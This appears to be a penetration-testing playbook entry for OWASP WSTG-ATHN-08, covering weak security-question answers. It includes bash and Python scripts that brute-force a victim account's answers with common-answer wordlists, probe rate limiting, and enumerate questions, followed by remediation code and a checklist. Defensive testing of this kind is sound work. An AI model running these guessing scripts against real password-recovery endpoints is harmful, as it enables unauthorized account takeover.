| name | wstg-athn-08 |
| description | Testing for Weak Security Question Answer |
| category | authentication |
| owasp_id | WSTG-ATHN-08 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["authentication","login","credentials","mfa","wstg","athn"] |
| tech_stack | [] |
| cwe_ids | ["CWE-287"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
wstg-athn-08
Test ID
WSTG-ATHN-08
Test Name
Testing for Weak Security Question Answer
High-Level Description
Security questions are often used as a secondary authentication mechanism for password recovery. This test evaluates whether security questions provide adequate protection or are vulnerable to guessing, research, or social engineering attacks. Weak security questions can allow attackers to bypass authentication entirely by providing easily guessable or publicly available answers.
What to Check
Security Question Issues
Question Categories
| Category | Risk Level |
|---|
| Mother's maiden name | High (public records) |
| Pet's name | High (social media) |
| School name | High (LinkedIn) |
| City of birth | High (public) |
| Favorite color | High (limited options) |
| Custom questions | Low-Medium |
How to Test
Step 1: Enumerate Available Questions
curl -s "https://target.com/api/security-questions" | jq '.'
curl -s "https://target.com/register" | \
grep -iE "security.question|select.*question" -A 50
curl -s "https://target.com/forgot-password" | \
grep -iE "security.question|select.*question" -A 50
Step 2: Analyze Question Strength
Step 3: Test Answer Guessing
#!/bin/bash
colors=("blue" "red" "green" "purple" "black" "white" "pink" "yellow")
for color in "${colors[@]}"; do
response=$(curl -s -X POST "https://target.com/api/verify-security-answer" \
-H "Content-Type: application/json" \
-d "{\"email\":\"victim@example.com\",\"answer\":\"$color\"}")
if echo "$response" | grep -qi "success\|correct\|token"; then
echo "[SUCCESS] Answer found: $color"
break
fi
done
pets=("max" "buddy" "charlie" "lucy" "bella" "daisy" "rocky" "jack")
for pet in "${pets[@]}"; do
response=$(curl -s -X POST "https://target.com/api/verify-security-answer" \
-H "Content-Type: application/json" \
-d "{\"email\":\"victim@example.com\",\"answer\":\"$pet\"}")
if echo "$response" | grep -qi "success"; then
echo "[SUCCESS] Pet name: $pet"
break
fi
done
Step 4: Test Rate Limiting
#!/bin/bash
for i in {1..50}; do
response=$(curl -s -X POST "https://target.com/api/verify-security-answer" \
-H "Content-Type: application/json" \
-d '{"email":"test@example.com","answer":"wrong'$i'"}' \
-w "\n%{http_code}")
status=$(echo "$response" | tail -1)
if [ "$status" == "429" ]; then
echo "Rate limited after $i attempts"
break
fi
echo "Attempt $i: $status"
done
if [ "$i" -eq 50 ]; then
echo "[VULN] No rate limiting - 50 attempts successful"
fi
Step 5: Test Answer Format Validation
answers=("a" "ab" "abc" "test" "longer answer")
for answer in "${answers[@]}"; do
response=$(curl -s -X POST "https://target.com/api/set-security-question" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"question_id\":1,\"answer\":\"$answer\"}")
echo "Answer '$answer' (len ${#answer}): $response" | head -c 100
echo ""
done
curl -s -X POST "https://target.com/api/set-security-question" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"question_id":1,"answer":"MyAnswer"}'
curl -s -X POST "https://target.com/api/verify-security-answer" \
-H "Content-Type: application/json" \
-d '{"email":"test@example.com","answer":"myanswer"}'
Step 6: Test Multiple Question Requirement
curl -s "https://target.com/forgot-password?email=test@example.com" | \
grep -c "question"
curl -s -X POST "https://target.com/api/forgot-password" \
-H "Content-Type: application/json" \
-d '{"email":"test@example.com"}'
Step 7: Test Information Disclosure
curl -s "https://target.com/api/security-question?email=victim@example.com"
Tools
Answer Guessing
| Tool | Description | Usage |
|---|
| Burp Intruder | Automated guessing | Wordlist attacks |
| Custom scripts | Targeted attacks | Common answers |
| OSINT tools | Research | Social media mining |
Research
| Source | Information |
|---|
| Social media | Pets, favorites |
| LinkedIn | Schools, employers |
| Public records | Birth city, maiden names |
Example Commands/Payloads
Security Question Tester
import requests
class SecurityQuestionTester:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
COMMON_ANSWERS = {
"color": ["blue", "red", "green", "black", "purple", "pink", "white", "yellow"],
"pet": ["max", "buddy", "charlie", "lucy", "bella", "daisy", "rocky", "jack", "bear", "duke"],
"city": ["new york", "los angeles", "chicago", "houston", "philadelphia", "phoenix", "san diego"],
"team": ["yankees", "cowboys", "lakers", "patriots", "giants", "bears", "packers"],
"movie": ["star wars", "godfather", "avatar", "titanic", "matrix", "inception"],
"food": ["pizza", "steak", "pasta", "sushi", "tacos", "burgers", "chicken"],
"car": ["ford", "toyota", "honda", "bmw", "mercedes", "chevrolet", "tesla"],
}
def get_questions(self, email=None):
"""Get available security questions"""
url = f"{self.base_url}/api/security-questions"
if email:
url += f"?email={email}"
response = self.session.get(url)
return response.json() if response.status_code == 200 else None
def analyze_question(self, question):
"""Analyze question strength"""
question_lower = question.lower()
weakness = {
"question": question,
"risk": "unknown",
"issues": []
}
weak_patterns = {
"maiden name": ("High", "Public records searchable"),
"pet": ("High", "Often on social media"),
"born": ("High", "Public records"),
"school": ("High", "LinkedIn/Facebook"),
"color": ("High", "Very limited options"),
"team": ("High", "Social media posts"),
"first car": ("Medium", "May be shared publicly"),
"best friend": ("Medium", "Social media"),
"movie": ("Medium", "Limited popular options"),
}
for pattern, (risk, reason) in weak_patterns.items():
if pattern in question_lower:
weakness["risk"] = risk
weakness["issues"].append(reason)
if not weakness["issues"]:
weakness["risk"] = "Unknown"
weakness["issues"].append("Requires manual analysis")
return weakness
def brute_force_answer(self, email, answer_type, max_attempts=50):
"""Attempt to guess security answer"""
answers = self.COMMON_ANSWERS.get(answer_type, [])
for i, answer in enumerate(answers[:max_attempts]):
response = self.session.post(
f"{self.base_url}/api/verify-security-answer",
json={"email": email, "answer": answer}
)
if response.status_code == 429:
return {"status": "rate_limited", "attempts": i + 1}
if "success" in response.text.lower() or "token" in response.text.lower():
return {"status": "success", "answer": answer, "attempts": i + 1}
return {"status": "failed", "attempts": len(answers)}
def test_rate_limiting(self, email, num_attempts=100):
"""Test rate limiting on answer attempts"""
for i in range(num_attempts):
response = self.session.post(
f"{self.base_url}/api/verify-security-answer",
json={"email": email, "answer": f"wrong{i}"}
)
if response.status_code == 429:
return {"rate_limited": True, "after_attempts": i + 1}
return {"rate_limited": False, "attempts_tested": num_attempts}
def generate_report(self, questions):
"""Generate security question analysis report"""
print("\n=== SECURITY QUESTION ANALYSIS ===\n")
if not questions:
print("No questions retrieved")
return
for q in questions:
analysis = self.analyze_question(q.get("question", q))
print(f"Question: {analysis['question']}")
print(f" Risk Level: {analysis['risk']}")
for issue in analysis['issues']:
print(f" Issue: {issue}")
print()
tester = SecurityQuestionTester("https://target.com")
questions = tester.get_questions()
tester.generate_report(questions)
print(tester.test_rate_limiting("test@example.com"))
Remediation Guide
1. Eliminate Security Questions
def forgot_password(email):
"""Secure password recovery without security questions"""
user = User.query.filter_by(email=email).first()
if user:
token = generate_secure_token()
PasswordReset.create(
user_id=user.id,
token=hash_token(token),
expires_at=datetime.utcnow() + timedelta(hours=1)
)
send_password_reset_email(user.email, token)
return {"message": "If the email exists, a reset link has been sent"}
2. If Security Questions Required, Implement Strong Controls
class SecureSecurityQuestions:
MINIMUM_ANSWER_LENGTH = 4
MAX_ATTEMPTS = 3
LOCKOUT_DURATION = 3600
def __init__(self, redis_client):
self.redis = redis_client
def validate_answer_format(self, answer):
"""Validate answer meets minimum requirements"""
if len(answer) < self.MINIMUM_ANSWER_LENGTH:
return False, f"Answer must be at least {self.MINIMUM_ANSWER_LENGTH} characters"
return True, None
def verify_answer(self, user_id, provided_answer):
"""Verify answer with rate limiting"""
attempt_key = f"security_question_attempts:{user_id}"
if self.redis.exists(f"security_question_locked:{user_id}"):
return False, "Account temporarily locked"
attempts = self.redis.incr(attempt_key)
if attempts == 1:
self.redis.expire(attempt_key, 3600)
if attempts > self.MAX_ATTEMPTS:
self.redis.setex(f"security_question_locked:{user_id}", self.LOCKOUT_DURATION, "1")
return False, "Too many attempts. Account locked."
user = User.query.get(user_id)
stored_normalized = user.security_answer.lower().strip()
provided_normalized = provided_answer.lower().strip()
if stored_normalized == provided_normalized:
self.redis.delete(attempt_key)
return True, None
return False, f"Incorrect answer. {self.MAX_ATTEMPTS - attempts} attempts remaining"
def require_multiple_questions(self, user_id):
"""Require multiple questions to be answered"""
pass
3. Alternative: Use Knowledge-Based Authentication (KBA)
class DynamicKBA:
def generate_questions(self, user):
"""Generate questions based on user's data"""
questions = []
if user.transactions:
recent = random.choice(user.transactions[-10:])
questions.append({
"question": "What was the amount of your transaction on [date]?",
"answer": str(recent.amount)
})
if user.devices:
device = random.choice(user.devices)
questions.append({
"question": "What type of device did you last login from?",
"answer": device.type
})
return random.sample(questions, min(3, len(questions)))
Risk Assessment
CVSS Score
| Finding | CVSS | Severity |
|---|
| Single easily guessable question | 8.8 | High |
| No rate limiting on attempts | 7.5 | High |
| Questions revealed without auth | 5.3 | Medium |
| Very short answers allowed | 5.3 | Medium |
| Only one question required | 6.5 | Medium |
CWE Categories
| CWE ID | Title | Description |
|---|
| CWE-640 | Weak Password Recovery Mechanism for Forgotten Password | Security questions |
| CWE-307 | Improper Restriction of Excessive Authentication Attempts | No rate limiting |
| CWE-521 | Weak Password Requirements | Weak answer policy |
References
Checklist
[ ] Available questions enumerated
[ ] Question strength analyzed
[ ] Rate limiting tested
[ ] Answer format requirements tested
[ ] Case sensitivity tested
[ ] Common answers tested
[ ] Question disclosure tested
[ ] Multiple questions requirement checked
[ ] OSINT research potential evaluated
[ ] Lockout mechanism tested
[ ] Findings documented
[ ] Remediation recommendations provided